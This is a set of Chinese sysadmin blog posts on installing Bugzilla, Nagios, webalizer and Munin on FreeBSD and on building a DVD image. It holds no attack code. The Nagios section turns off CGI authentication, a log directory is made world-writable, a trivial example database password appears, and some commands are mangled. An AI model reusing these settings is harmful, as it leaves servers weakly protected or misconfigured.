#./checksetup.pl //第一次运行checksetup.pl,生成localconfig文件
#vi localconfig //修改localconfig,文件中的MySQL参数

#
# How to access the SQL database:
#
$db_host = “localhost”; # where is the database?
$db_port = 3306; # which port to use
$db_name = “bugtrack”; # name of the MySQL database
$db_user = “buguser”; # user to attach to the MySQL database

#
# Enter your database password here. It’s normally advisable to specify
# a password for your bugzilla database user.
# If you use apostrophe (‘) or a backslash (\) in your password, you’ll
# need to escape it by preceding it with a \ character. (\’) or (\\)
#
$db_pass = ’123456′;

#cd /usr/local/www/data-dist/bugzilla
#./checksetup.pl //再次运行checksetup.pl,检查Bugzilla 的安装配置,以及导入Bugailla所需数据库.

Checking perl modules …
Checking for AppConfig (v1.52) ok: found v1.55
Checking for CGI::Carp (any) ok: found v1.13
Checking for Data::Dumper (any) ok: found v2.101
Checking for Date::Parse (any) ok: found v2.27
Checking for DBI (v1.13) ok: found v1.37
Checking for DBD::mysql (v1.2209) ok: found v2.0419
Checking for File::Spec (v0.82) ok: found v0.82
Checking for File::Temp (any) ok: found v0.12
Checking for Template (v2.07) ok: found v2.08
Checking for Text::Wrap (v2001.0131) ok: found v2001.0929
Checking for CGI::Carp (any) ok: found v1.13

The following Perl modules are optional:
Checking for GD (v1.19) ok: found v2.07
Checking for Chart::Base (v0.99) ok: found v2.2
Checking for XML::Parser (any) ok: found v2.34

Checking user setup …
Creating data directory …
Creating graphs directory…
Creating index.html…
Removing existing compiled templates …
Precompiling templates …
Checking for MySQL Server (v3.22.5) ok: found v3.23.58
Creating database bugtrack …

Creating table groups …
Creating table longdescs …
Creating table milestones …
Creating table namedqueries …
Creating table profiles …
Creating table fielddefs …
Creating table logincookies …
Creating table components …
Creating table cc …
Creating table keyworddefs …
Creating table dependencies …
Creating table shadowlog …
Creating table duplicates …
Creating table profiles_activity …
Creating table votes …
Creating table attachstatuses …
Creating table bugs …
Creating table tokens …
Creating table products …
Creating table watch …
Creating table keywords …
Creating table versions …
Creating table attachstatusdefs …
Creating table attachments …
Creating table bugs_activity …
Adding group tweakparams …
Adding group editusers …
Adding group creategroups …
Adding group editcomponents …
Adding group editkeywords …
Adding group editbugs …
Adding group canconfirm …

Looks like we don’t have an administrator set up yet. Either this is your
first time using Bugzilla, or your administrator’s privs might have accidently
gotten deleted at some point.
Enter the e-mail address of the administrator: tonnyomAThotmail.com //输入login email
You entered ‘tonnyomAThotmail.com’. Is this correct? [Y/n] Y
Enter the real name of the administrator: lele
Enter a password for the administrator account: //输入login password
Please retype the password to verify:
‘tonnyomAThotmail.com’ is now set up as the administrator account.
Creating initial dummy product ‘TestProduct’ …
Populating duplicates table…
Creating duplicates directory…
Reminder: Bugzilla now requires version 8.7 or later of sendmail. //end

#cd /usr/local/www
#chown www:nogroup data-dist

#cd /usr/local/www/data-dist
#chown www:nogroup bugzilla
Bugzilla汉化
#cd ~/appz/ #fetch http://optusnet.dl.sourceforge.net/sourceforge/bugzilla-cn/bugzilla-2.16.1-cn-0.91.tar.gz #tar zxvf bugzilla-2.16.1-cn-0.91.tar.gz
注: 该版本,汉化效果不是很好,在其网站中,还有更新的版本,大家可以去自己尝试一下那个版本更好.
#cd /usr/local/www/data-dist/bugzilla/template #cp -Rpf ~/appz/template/cn ./ #vi /usr/local/www/data-dist/bugzilla/globals.pl //修改INCLUDE_PATH为汉化文件路径

INCLUDE_PATH => “template/en/custom:template/en/default” ,
==> INCLUDE_PATH => “template/cn/custom:template/cn/default” ,

#cd /usr/local/www/data-dist/bugzilla
#fetch http://www.bugzilla.org/img/bugzilla.jpg ; mv bugzilla.jpg bug.jpg
#cp ant.jpg ant1.jpg

#cd /usr/local/www/data-dist/bugzilla
#find ./ -type d -exec chown www:nogroup {} \; //设置web server属主对该目录下所有目录的权限
#find ./ -type f -exec chown www:nogroup {} \; //设置web server属主对该目录下所有文件的权限
测试
/usr/local/etc/rc.d/apache.sh start

IE登录:

http://freebsd-ip/bugzilla/index.cgi

http://www.bugzilla.org/docs/2.16/txt/Bugzilla-Guide.txt Bugzilla Guide

http://prdownloads.sourceforge.net/bugzilla-cn/ Bugzilla-CN Tool

http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/ FreeBSD Handbook

http://www.uml.org.cn/Test/test19.htm 测试跟踪工具Bugzilla介绍

http://www.douzhe.com/docs/linux/1672.html 关于BUGZILLA的说明和安装
版本修订0.1

1,如何利用系统自带sendmail来发信件?
#vi /etc/rc.conf //编辑rc.conf文件
sendmail_enable=”YES”
#cd /usr/lib //Bugziila默认调用sendmail的路径为 /usr/lib #ln -s /usr/sbin/sendmail sendmail #tail /var/log/maillog //查看以下LOG,可以检查信件已经正常发出

Aug 27 12:11:31 freebsd5 sendmail[406]: i7RCBJTu000406: from=www, size=277, class=0, nrcpts=1, msgid=<200408271211.i7RCBJTu000406@freebsd5.com>, relay=www@localhost
Aug 27 12:13:05 freebsd5 sm-mta[408]: i7RCBVeQ000408: from=, size=525, class=0, nrcpts=1, msgid=<200408271211.i7RCBJTu000406@freebsd5.com>, proto=ESMTP, daemon=MTA, relay=localhost.com [127.0.0.1]
Aug 27 12:13:05 freebsd5 sendmail[406]: i7RCBJTu000406: to=tonnyomAThotmail.com, ctladdr=www (80/80), delay=00:01:46, xdelay=00:01:34, mailer=relay, pri=30078, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (i7RCBVeQ000408 Message accepted for delivery)
Aug 27 12:18:17 freebsd5 sm-mta[411]: i7RCBVeQ000408: timeout waiting for input from mx1.hotmail.com. during client greeting
Aug 27 12:18:26 freebsd5 sm-mta[411]: i7RCBVeQ000408: to=, ctladdr= (80/80), delay=00:05:22, xdelay=00:05:21, mailer=esmtp, pri=30326, relay=mx1.hotmail.com. [64.4.50.99], dsn=2.0.0, stat=Sent (OK 1093580390)

[FreeBSD] 用nagios来监控网络服务器和网络服务

admin — Fri, 06 Mar 2009 09:47:39 +0000

nagios可以对服务器进行全面的监控，包括服务（apache、mysql、ntp、dns、disk、qmail和sshd等等）的状态，服务器的状态（up、down等等）。它是一个完全GPL协议的开源软件包，包含有nagios主程序和它的各个插件，配置非常灵活，可以监视的项目很多，可以自定义shell脚本进行监控服务，非常适合大型网络。

nagios的包含主动监控和被动监控。
主动检查是通过监控中心的主机发出请求，让运行在远程主机上的nrpe守护进程收集信息，然后报告它，它通过web接口把数据显示在页面上。
它的工作原理如下：

被动监控是当远程被监控主机处于防火墙之内的时候，只有远程主机可以访问到监控中心，防火墙之内可以设置另外一个监控中心，远程监控中心的nagios收集服务器信息以后，和nsca报告，由naca客户端报告naca的服务器端，然后报告监控中心的nagios，通过web接口显示监控结果。

nagios的功能非常强大，[url]http://www.nagios.org/[/url]是它的窝，只有e文、法文和日文，没有中文

我现在引用它的一段文字进行总结一下到底什么是nagios：
What Is This?
什么是nagios？
Nagios® is a system and network monitoring application. It watches hosts and services that you specify, alerting you when things go bad and when they get better.
Nagios was originally designed to run under Linux, although it should work under most other unices as well.
Some of the many features of Nagios® include:
Monitoring of network services (SMTP, POP3, HTTP, NNTP, PING, etc.)
Monitoring of host resources (processor load, disk usage, etc.)
Simple plugin design that allows users to easily develop their own service checks
Parallelized service checks
Ability to define network host hierarchy using “parent” hosts, allowing detection of and distinction between hosts that are down and those that are unreachable
Contact notifications when service or host problems occur and get resolved (via email, pager, or user-defined method)
Ability to define event handlers to be run during service or host events for proactive problem resolution
Automatic log file rotation
Support for implementing redundant monitoring hosts
Optional web interface for viewing current network status, notification and problem history, log file, etc.
Nagios是一个监视系统和网络的应用程序。它监视你所指定主机和服务，当监视的内容变好或者变坏时发出警告。Nagios最初是被设计在Linux平台上运行的，然而现在在其他平台上也运行良好。
Nagios的特性包括：
监视网络服务（SMTP, POP3, HTTP, NNTP, PING, 等等）
监视主机资源（处理器负载、磁盘空间等）
容许用户开发自己的插件去检查自定义的项目；
通过使用“父主机”，定义网络主机的分层，容许探测主机down掉或者不可到达。
可以定义在主机或服务运行期间，事件发生以后如何处理和解决方式；
自动记录错误日志；
支持冗余监视；
可选web接口，通过web页面查看当前网络状态，提示和报告故障历史，日志文件等；

Nagios的系统要求：
Linux、Unix等
apache
GD库（1.63以上）
zlib
pnglib
jpeglib
basic icons
等，其中apache的安装在blog中已经有相关的文章，搜索一下就行；gd、zlib、pnglib和jpeglib安装比较简单，步骤：
下载tarball
tar zxvf xxx.tar.gz
cd xxx
./configure
make && make install

———————————————————————-
Nagios的安装过程(FreeBSD)
———————————————————————-
nagios的安装比较简单，复杂的是设置和配置参数的设定。不过你要放松一点，毕竟我们要搞定它，不是吗？那就开始吧：

1：获得最新的安装包，[url]http://www.nagios.org/download[/url]
2：以root身份登录服务器，目前最新的版本是2.5：
1）nagios，版本2.5：
fetch [url]http://superb-west.dl.sourceforge.net/sourceforge/nagios/nagios-2.5.tar.gz[/url]
or
wget [url]http://superb-west.dl.sourceforge.net/sourceforge/nagios/nagios-2.5.tar.gz[/url]

2）获得nagios插件，版本1.4.3：
[url]http://surfnet.dl.sourceforge.net/sourceforge/nagiosplug/nagios-plugins-1.4.3.tar.gz[/url]

3）获得图库文件：
[url]http://dl.sf.net/nagios/imagepak-base.tar.gz[/url]

4）NRPE，版本2.5.2
[url]http://ufpr.dl.sourceforge.net/sourceforge/nagios/nrpe-2.5.2.tar.gz[/url]

5）NSCA，版本2.6
[url]http://kent.dl.sourceforge.net/sourceforge/nagios/nsca-2.6.tar.gz[/url]

3：切换到root用户：
sudo su

4：解压缩
tar zxvf nagios-2.5.tar.gz

5：建立运行nagios的用户：
adduser nagios

6：建立安装nagios的文件夹，并使这个文件夹的所有者为nagios:nagios
mkdir /usr/local/nagios
chown nagios.nagios /usr/local/nagios

7：确认web服务器的用户
可能会通过web接口执行一些命令，必须确定web服务器以哪个用户运行的，通常为：apache：
grep “^User” /usr/local/apache2/conf/httpd.conf

8：建立命令文件组
这个新的组会包括apache的用户和nagios的用户
pw groupadd nagcmd
pw usermod apache -G nagcmd
pw usermod nagios -G nagcmd
———————————-
cat /etc/group
nagcmd:*:9007:apache,nagios
———————————-

8：运行配置脚本并安装nagios
cd nagios-2.5
./configure –prefix=/usr/local/nagios –with-gd-lib=/usr/local/lib –with-gd-inc=/usr/local/include
———————————
*** Configuration summary for nagios 2.5 07-13-2006 ***:

General Options:
————————-
Nagios executable: nagios
Nagios user/group: nagios,nagios
Command user/group: nagios,nagios
Embedded Perl: no
Event Broker: yes
Install ${prefix}: /usr/local/nagios
Lock file: ${prefix}/var/nagios.lock
Init directory: /usr/local/etc/rc.d
Host OS: freebsd6.0

Web Interface Options:
————————
HTML URL: [url]http://localhost/nagios/[/url]
CGI URL: [url]http://localhost/nagios/cgi-bin/[/url]
Traceroute (used by WAP): /usr/sbin/traceroute

Review the options above for accuracy. If they look okay,
type ‘make all’ to compile the main program and CGIs.
———————————
make all
make install
make install-init
make install-commandmode
make install-config

9：安装nagios-plugins
tar zxvf nagios-plugins-1.4.3.tar.gz
cd nagios-plugins-1.4.3
./configure –prefix=/usr/local/nagios-plugins
make all
make install
安装完成以后在/usr/local/nagios-plugins-plugins会产生一个libexec的目录，将该目录全部移动到/usr/local/nagios目录下即可。
mv /usr/local/nagios-plugins-plugins/libexec/ /usr/local/nagios/

10：imagepak-base.tar.gz的安装
tar –xvzf imagepak-base.tar.gz
解压以后是base目录
mv base/ /usr/local/nagios/share/images/logos/

———————————————————————-
现在开始配置：
———————————————————————-
1：配置web接口
假设你已经运行apache，如果没有，请参考：
[url]http://localhost/upload/blog.php?do-showone-tid-18.html[/url]

vi /usr/local/apache2/conf/httpd.conf
添加如下内容：
ScriptAlias /nagios/cgi-bin /usr/local/nagios/sbin
Options ExecCGI
AllowOverride None
Order allow,deny
Allow from all
AuthName “Nagios Access”
AuthType Basic
AuthUserFile /usr/local/nagios/etc/htpasswd.users
Require valid-user

Alias /nagios /usr/local/nagios/share
Options None
AllowOverride None
Order allow,deny
Allow from all
AuthName “Nagios Access”
AuthType Basic
AuthUserFile /usr/local/nagios/etc/htpasswd.users
Require valid-user

修改完毕，保存文件，并重启apache：
/usr/local/apahce2/bin/apachectl restart

2：配置apache的BASIC认证：
生成认证密码：
/usr/local/apache2/bin/htpasswd –c /usr/local/nagios/etc/htpasswd.users nagios nagios
apache接口配置完成。

开始配置nagios：
cd /usr/local/nagios/etc/
在/usr/local/nagios/etc下是nagios的配置模板文件-sample,把.cfg-sample文件全部拷贝成.cfg
例如:cp nagios.cfg-sample nagios.cfg
全部拷贝完成即可.

vi minimal.cfg
注释所有command：
注释的方法是在每一个定义语句前面添加”#“
修改cgi.cfg
修改use_authentication=1为use_authentication=0,即不用验证.不然有一些页面不会显示。

现在检查配置文件是否有语法错误：
/usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg
如果正确，会显示以下结果：
Total Warnings: 0
Total Errors: 0
否则，需要根据提示进行修改配置文件。

配置文件等会再弄。现在启动nagios
/usr/local/nagios/bin/nagios -d /usr/local/nagios/etc/nagios.cfg

为使nagios异常中断，我们使用daemontools启动：
安装daemontool：
mkdir -p /package
chmod 1755 /package
cd /package
fetch [url]http://cr.yp.to/daemontools/daemontools-0.76.tar.gz[/url]
cd admin/daemontools-0.76/
package/install
检查svscan进程是否启动：
ps aux | grep svscan
root 376 0.0 0.0 1636 0 con- IW – 0:00.00 /bin/sh /command/svscanboot
root 411 0.0 0.0 1224 208 con- S 8Jul06 0:42.50 svscan /service

ok，启动正常。
cd /service
mkdir nagios
chmod 1755 nagios
touch ./run
chmod 755 ./run
vi run
PATH=/usr/local/bin:/usr/bin:/bin
export PATH

exec env – PATH=$PATH \
/usr/local/nagios/bin/nagios /usr/local/nagios/etc/nagios.cfg

mkdir log
cd log
touch ./run
chmod 755 ./run
vi ./run
#!/bin/sh
exec setuidgid logadmin multilog t s1000000 n100 ./main

mkdir main
chmod 777 main
chown nagios.nagios main
touch status
chown nagios.nagios status

svc -u /service/nagios/
svstat /service/nagios/
root@## ps auxww | grep nagios
root 23276 0.0 0.1 1176 488 ?? I 5:00PM 0:01.71 supervise nagios
nagios 34251 0.0 0.3 2316 1552 ?? S 6:06PM 0:00.10 /usr/local/nagios/bin/nagios /usr/local/nagios/etc/nagios.cfg
root@##

ok，现在把nagios服务做成自动启动的服务。
通过svc命令可以启动或者停止服务。
———————————————————————————
svc opts services
opts is a series of getopt-style options. services consists of any number of arguments, each argument naming a directory used by supervise.

-u: Up. If the service is not running, start it. If the service stops, restart it.
-d: Down. If the service is running, send it a TERM signal and then a CONT signal. After it stops, do not restart it.
-o: Once. If the service is not running, start it. Do not restart it if it stops.
-p: Pause. Send the service a STOP signal.
-c: Continue. Send the service a CONT signal.
-h: Hangup. Send the service a HUP signal.
-a: Alarm. Send the service an ALRM signal.
-i: Interrupt. Send the service an INT signal.
-t: Terminate. Send the service a TERM signal.
-k: Kill. Send the service a KILL signal.
-x: Exit. supervise will exit as soon as the service is down. If you use this option on a stable system, you’re doing something wrong; supervise is designed to run forever.
———————————————————————————
比如：
停止nagios－－svc -d /service/nagios/
重启nagios－－svc -t /service/nagios/
启动nagios－－svc -u /service/nagios/

当然，你也可以使用inited的方式进行：
/usr/local/etc/rc.d/nagios start/stop

现在打开网页：[url]http://localhost/nagios/[/url]
服务器和服务状态都清楚的看到。
现在我们的nagios中只有一个，那就是它自己，localhost，等会添加别的主机和主机服务，ok，认识一下nagios的庐山真面目：

配置nagios：

1）为主机添加服务
2）添加主机并添加服务
3）停止一个服务
4）删除一台主机和服务
5）查看所有主机的故障
6）查看一台特定的主机状态
7）改变报警的时间间隔
8）改变发现故障的重试次数
9）如何在nagios中使用外部命令

1）为主机添加一个服务
为localhost主机添加qmail服务的监控，方法如下：
vi minimal.cfg
define service{
use generic-service ; Name of service template to use
host_name localhost
service_description qmail_smtp
is_volatile 0
check_period 24×7
max_check_attempts 1
normal_check_interval 1
retry_check_interval 1
contact_groups admins
notification_options w,u,c,r
notification_interval 960
notification_period 24×7
check_command check_smtp!20%!10%!/
}

可以直接拷贝原有的进行修改，我这个就是拷贝的原有的check_local_disk进行的。
修改host_name，service_description，check_command等

define service{
use generic-service ; Name of service template to use
host_name localhost
service_description qmail_pop3
is_volatile 0
check_period 24×7
max_check_attempts 1
normal_check_interval 1
retry_check_interval 1
contact_groups admins
notification_options w,u,c,r
notification_interval 960
notification_period 24×7
check_command check_pop!20%!10%!/
}
照猫画虎的进行修改，然后去修改：
vi checkcommands.cfg
#’check_qmail’ command definition
define command{
command_name check_qmail
command_line $USER1$/check_smtp -H 127.0.0.1
}
define command{
command_name check_pop3
command_line $USER1$/check_pop -H 127.0.0.1
}
保存，然后检查配置文件：
/usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg
如果没有错误会显示：
Total Warnings: 0
Total Errors: 0
如果有错误，请根据提示进行错误的修正。
重启nagios
svc -d /service/nagios/ && svc -u /service/nagios/
通过web页面检查nagios的结果：
[url]http://10.5.1.153/nagios/[/url]
点击“Service Detail”
会出现：

2）添加主机并添加服务
我们会监控这台主机的负载、磁盘等一些没有通过端口方式启动的服务器状态，以及它的服务，比如：apache、mysql、qmail和ntp等等吧。那么没有端口的nagios直接能监控到吗？答案是不行。所以我们必须在两台主机上安装nrpe，nrpe可以启动5666端口，把检测的信息源源不断的传给监控中心的主机。
ok，我们把apache、mysql、qmail和ntp先加上，这回我们把监控的主机和服务新建一个文件：
cd /usr/local/nagios/etc/
touch 10_5_1_156.cfg
vi nagios.cfg
cfg_file=/usr/local/nagios/etc/10_5_1_156.cfg

vi 10_5_1_156.cfg
定义一个主机：
define host{
use generic-host ; Name of host template to use
host_name test_nrpe
alias client
address 10.5.1.156
check_command check-host-alive
max_check_attempts 1
check_period 24×7
notification_interval 120
notification_period 24×7
notification_options d,r
contact_groups admins
}

定义主机需要检查的服务：
define service{
use generic-service ; Name of service template to use
host_name test_nrpe
service_description PING
is_volatile 0
check_period 24×7
max_check_attempts 1
normal_check_interval 1
retry_check_interval 1
contact_groups admins
notification_options w,u,c,r
notification_interval 960
notification_period 24×7
check_command check_ping!100.0,20%!500.0,60%
}

define service{
use generic-service ; Name of service template to use
host_name test_nrpe
service_description apache
is_volatile 0
check_period 24×7
max_check_attempts 1
normal_check_interval 1
retry_check_interval 1
contact_groups admins
notification_options w,u,c,r
notification_interval 960
notification_period 24×7
check_command check_http!100.0,20%!500.0,60%
}

define service{
use generic-service ; Name of service template to use
host_name test_nrpe
service_description mysql
is_volatile 0
check_period 24×7
max_check_attempts 1
normal_check_interval 1
retry_check_interval 1
contact_groups admins
notification_options w,u,c,r
notification_interval 960
notification_period 24×7
check_command check_mysql!100.0,20%!500.0,60%
}

define service{
use generic-service ; Name of service template to use
host_name test_nrpe
service_description ntp
is_volatile 0
check_period 24×7
max_check_attempts 1
normal_check_interval 1
retry_check_interval 1
contact_groups admins
notification_options w,u,c,r
notification_interval 960
notification_period 24×7
check_command check_ntp!100.0,20%!500.0,60%
}

define service{
use generic-service ; Name of service template to use
host_name test_nrpe
service_description qmail_smtp
is_volatile 0
check_period 24×7
max_check_attempts 1
normal_check_interval 1
retry_check_interval 1
contact_groups admins
notification_options w,u,c,r
notification_interval 960
notification_period 24×7
check_command check_smtp!100.0,20%!500.0,60%
}

define service{
use generic-service ; Name of service template to use
host_name test_nrpe
service_description qmail_pop3
is_volatile 0
check_period 24×7
max_check_attempts 1
normal_check_interval 1
retry_check_interval 1
contact_groups admins
notification_options w,u,c,r
notification_interval 960
notification_period 24×7
check_command check_pop!100.0,20%!500.0,60%
}
现在我们象上次一样把服务也定义完：

FreeBSD 6.2 下ports安装webalizer汉化

admin — Fri, 06 Mar 2009 06:34:45 +0000

先进入ports目录
#cd /usr/ports/
查找webalizer的位置
#make search name=webalizer

Port: webalizer-2.1.10_7
Path: /usr/ports/www/webalizer
Info: A web server log file analysis program
Maint: dinoex@FreeBSD.org
B-deps: freetype2-2.2.1_1 gd-2.0.33_4,1 jpeg-6b_4 pkg-config-0.21 png-1.2.12_1
R-deps: freetype2-2.2.1_1 gd-2.0.33_4,1 jpeg-6b_4 pkg-config-0.21 png-1.2.12_1
WWW: http://www.mrunix.net/webalizer/

进入webalizer目录
#cd /usr/ports/www/webalizer
先make一下注意下面的参数
#make WEBALIZER_LANG?=chinese
之后进行安装
#make install
基本汉化完成如果出现乱码问题请安装繁体中文支持(Win平台的) 让IE可以识别就可以了
QUOTE:
# 设定 Apache 联机记录文件的位置。
#LogFile /var/lib/httpd/logs/access_log
LogFile /var/log/httpd-access.log

# 设定 log 文件的型式，Webalizer 除了 Apache 外，还可以支持分析 FTP 软件
# 或 proxy 软件 squid 的 log 文件。LogType 预设的值是 ‘clf’，表示分析
# 网页数据，你也可以设定为 ftp 或 squid。
#LogType clf

# OutputDir 是我们想要输出分析数据的位置。请设定为网页根目录下的某一个
# 目录。例如我们的网页根目录是 /home/www，请先在该目录下建立一个子目录
# 名为 traffic，接着再设定 OutputDir 为 /home/www/traffic。
#OutputDir /var/lib/httpd/htdocs/usage
OutputDir /home/www/traffic

# HistoryName 可以让我们设定 webalizer 所产生的历史记录文件的文件名。这个档
# 可以用来产生主要的 HTML 页面 (index.html)，我们不需要修改。
#HistoryName webalizer.hist

# 由于我们可能会设定某一段时间自动将 Apache 的 log 压缩或删除。而
# Incremental 这个变量可以让我们在产生分析资料时，只更新增加的部份
# 而分析过的资料就不再分析，以免覆盖了旧有的资料。
#Incremental no
Incremental yes

# 若您设定 Incremental 为 yes，IncrementalName 可以让您设定目前增加
# 的分析数据存放位置。
#IncrementalName webalizer.current

# ReportTitle 是分析结果网页的标题。在该标题后会加上您的主机名称。
#ReportTitle Usage Statistics for

# 设定您的主机名称。
#HostName localhost

# HTMLExtension 是所产生的 HTML 档的扩展名。
#HTMLExtension html

# PageType 可以让您设定何种扩展名结尾的页面要加入分析数据。因为在
# log 文件中有一些图片，而这些图版我们并不希望加入分析数据中，或者我
# 们也可以增加 PHP 页面的分析数据。所以在这里，我们加上一行用来分析
# PHP 页面的设定。
PageType htm*
PageType cgi
PageType php
#PageType phtml
#PageType php3
#PageType pl

# 如果您希望只使用 https 才可以连到分析页面，则将 UseHTTPS 设为 yes。
#UseHTTPS no

# DNSCache 可以设定 DNS 快取的文件名称，在分析数据时，可能会一直需要
# 做 DNS 的分析，这个档可以提高 DNS 查询的效率。
#DNSCache dns_cache.db

# DNSChildren 可以设定要使用多少 process 来做 DNS 查询，预设是 0，表示
# 不查询，我们可以设定的值从 1 到 100。最好不要设太多，以免消耗太多系统
# 资源。
#DNSChildren 0

# HTMLPre 是用设定每个 HTML 档案开头第一行要插入的字，最长 80 个字符。
#HTMLPre

# HTMLHead 可以让我们设定 HTML 页面中间要插入的字。最长
# 也是 80 个字符。
#HTMLHead

# HTMLBody 会取代在 HTML 页面中的这个标签。可以让我们设定网页
# 的一些属性。最长也是 80 个字符。
#HTMLBody

# HTMLPost 会将设定的字符串插入 HTML 第一个

标签之后，最长也是 80 个
# 字。
#HTMLPost

# HTMLTail 可以设定 HTML 页面的结尾所要插入的字符串。最长 80 个字符。
#HTMLTail

# HTMLEnd可以设定 HTML 页面的最后结尾所要插入的字符串。我们最少要有
# 和这二个标签，最长 80 个字符。
#HTMLEnd

# Quiet 可以让我们设定在分析时是否要输出讯息，因为我们会使用 crontab
# 定时执行，所以不要输出分析过程的讯息比较好。
Quiet yes

# ReallyQuiet 可以设定档有错误产生时，是否要输出讯息。
#ReallyQuiet no

# TimeMe 可以设定在分析之后是否要输出时间。
#TimeMe no

# GMTTime 可以设定是否要使用 GMT (UTC) 时间而非本地时间。
#GMTTime no

# Debug 可以设定是否要输出除错讯息。
#Debug no

# FoldSeqErr 可以让 Webalizer 忽略读取 log 档的错误。
#FoldSeqErr no

# VisitTimeout 可以设定 session 的到期时间，默认值是 30 分钟。
#VisitTimeout 1800

# IgnoreHist 请保持 no。
#IgnoreHist no

# Country Graph 是用来显示分析资料中关于国家的统计资料是否要显示。
#CountryGraph yes

# DailyGraph 及 DailyStats 是设定是否显示每日分析资料。
#DailyGraph yes
#DailyStats yes

# HourlyGraph 是 HourlyStats是设定是否显示每小时分析资料。
#HourlyGraph yes
#HourlyStats yes

# GraphLegend 是设定是否要显示彩色图表。
#GraphLegend yes

# GraphLines 是用来设定图表的网格线数量，最多 20。
#GraphLines 2

# “Top” 的选项是每一个分格表格中，要显示多少笔前几名的资料。
#TopSites 30
#TopKSites 10
#TopURLs 30
#TopKURLs 10
#TopReferrers 30
#TopAgents 15
#TopCountries 30
#TopEntry 10
#TopExit 10
#TopSearch 20
#TopUsers 20

# The All* 可以让我们显示所有 log 文件中有记录的数据，而非只有前几名而
# 已。如果设定了某一个 All 的选项，webalizer 将会为该设定新增一个页面。
#AllSites no
#AllURLs no
#AllReferrers no
#AllAgents no
#AllSearchStr no
#AllUsers no

# Webalizer 会自动使用让网址 /somedir/ 可以连结到 /somedir/index.htm
# 如果你想要设定让除了 index. 结尾的网址有此效果外，还要让其它网
# 址也有同样效果，您可以在此设定。
#IndexAlias home.htm
#IndexAlias homepage.htm

# Hide*, Group*, Ignore* 及Include* * 可以设定让 Webalizer 忽略
# log 中的关键词，让 log 中某些记录不要被加入分析数据中。例如
# 有的搜寻引擎会自动连到您的网页来找数据，您可以设定忽略这样的
# 联机。请自行参阅说明。
… 略 …
# End of configuration file… Have a nice day!

QUOTE:
接着我们必须依您的设定在网页根目录中建立一个数据夹以储存 Webalizer 所产生的图表，假设我们的网页根目录是 /home/www，并在其目录下建立一个子目录名为 traffic：

# mkdir /home/www/traffic
紧接着我们就可以使用下列指令来产生统计图表：

# /usr/local/bin/webalizer
因为我们在 webalizer.conf 中设定了所要使用的 apache 使用记录的文件名及所产生的图表存放位置，所以在执行 webalizer 时不必再加任何参数。如果您想指定使用其它的联机记录文件来做分析，您可以在指令后面加上该记录文件的文件名，例如：

# /usr/local/bin/webalizer /var/log/httpd-access.log
产生了图表之后，我们就可以使用浏览器输入 http://www.mydomain.com/traffic

如何制作freebsd7的DVD安装盘

admin — Thu, 05 Mar 2009 06:23:57 +0000

mdconfig -a -f 7.0-RELEASE-i386-disk3.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf – . | tar -xf –
umount /mnt
mdconfig -d -u 0

mdconfig -a -f 7.0-RELEASE-i386-disk2.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf – . | tar -xf –
umount /mnt
mdconfig -d -u 0

生成DVD ISO文件：
mkisofs -R -no-emul-boot -b boot/cdboot -iso-level 3 -o /work/FreeBSD7_DVD.iso /work/fbd7
或直接刻录成DVD：
growisofs –Z /dev/cd0 –speed 16 –no-amul-boot –b boot/cdboot –iso-level 3 /work/fbd7

OK，完成。检查制作出的DVD，经测试：链接正常，sysinstall可认，其它各种应用正常。

FreeBSD 6.2下安装监测软件MUNIN手记

admin — Wed, 04 Mar 2009 09:31:12 +0000

最近公司因为需要对监测软件进行改进~~所以对几个不同的监测软件安装后进行了比较~~
对于大家比较熟悉的MRTG , Cacti等等同上的文章已经很多了~~
最近调查发现Munin也是一个非常好用安装和设置方便的监测软件~~

小弟在FreeBSD下安装后~~为了以后方便自己学习把简单的安装手顺记录了一下~~
贴上来跟大家分享一下~~

Environment :
OS : FreeBSD 6.2 Release

因为在测试MUNIN之前已经安装过CACTI~~所以snmp,RRDTOOL之类的软件已经安装过了~
另外~为了简化测试过程~~所以都能过PORTS方式安装~~如果有能过源码包安装的朋友可以补充一下~~

——->>安装开始
–>munin node #version 1.2.5
[Copy to clipboard] [ - ]
CODE:
cd /usr/ports/sysutils/munin-node
make install distclean #这部分类拟于~Munin的一个客户端~需要在被监测的服务器上
#安装的时候会建立munin用户和组~~选”Y”就OK了~~

如果PORTS配置没有问题的话~很快就能安装完程~~
安装后~需要设置一下node的配置文件
-
->setting munin-node
[Copy to clipboard] [ - ]
CODE:

#echo ‘munin_node_enable=”"YES”"‘ > rc.conf #在rc.conf文件中加入munin-node启动

vi /usr/local/etc/munin/munin-node.conf #编辑munin-node.conf的配置文件,允许可以访问数据的IP
[Copy to clipboard] [ - ]
CODE:

log_file /var/log/munin-node.log #log文件存放位置
port 4949 #munin的通讯端口~可跟据自己的需要调整
allow ^192\.168\.0\.0″ #允许可以访问数据的地址段~按正则表达式方式写出

sh /usr/local/etc/rc.d/munin-node.sh start #配置后~启动munin-node
Starting munin_node #显示如下说明成功了~

安装成功后测试一下看看~是否工作正常

checking munin
[Copy to clipboard] [ - ]
CODE:
#telnet localhost 4949
version #查看版本信息
fetch cpu #查看CPU信息
fetch memory” #查看内存信息数据的显示效果和MRTG有一些相拟
list #可以列出当前设备的信息
quit #退出

如果通过源码包安装~~缺少相关的依懒包请参考
[Copy to clipboard] [ - ]
CODE:
p5-Net-Server-0.96
gmake-3.81_2
perl-5.8.8
p5-IO-Multiplex-1.09
gettext-0.16.1_3
libtool-1.5.22_4
libiconv-1.9.2_2

下面开始安装munin-server #version 1.2.5

–>install munin-main
[Copy to clipboard] [ - ]
CODE:
#cd /usr/ports/sysutils/munin-main
make install distclean

–>setting munin-main #安装后配置一下munin的配置文件设定一下需要监测的设备
[Copy to clipboard] [ - ]
CODE:
vi /usr/local/etc/munin/munin.conf

htmldir /usr/local/apache/htdocs/munin #apache的文档目录
##setting with apache conf
# chown -R munin:munin /usr/local/apache/htdocs/munin #把munin的目录权限设置一下~~如果没有的情况~~请在相关位置建立一下

# a simple host tree #被监测设置配置
[master.freebsdmadeeasy.com]
address 127.0.0.1 #IP地址
use_node_name yes

[master.munin-test.com]
address 192.168.254.12 #IP地址
port 7000 #对不同的node也可以单独设置port
use_node_name yes

对于更详细的配置文件可以参考官方主页的内容~~因为只是简单测试~~没有太细说调定过~~抱歉~~

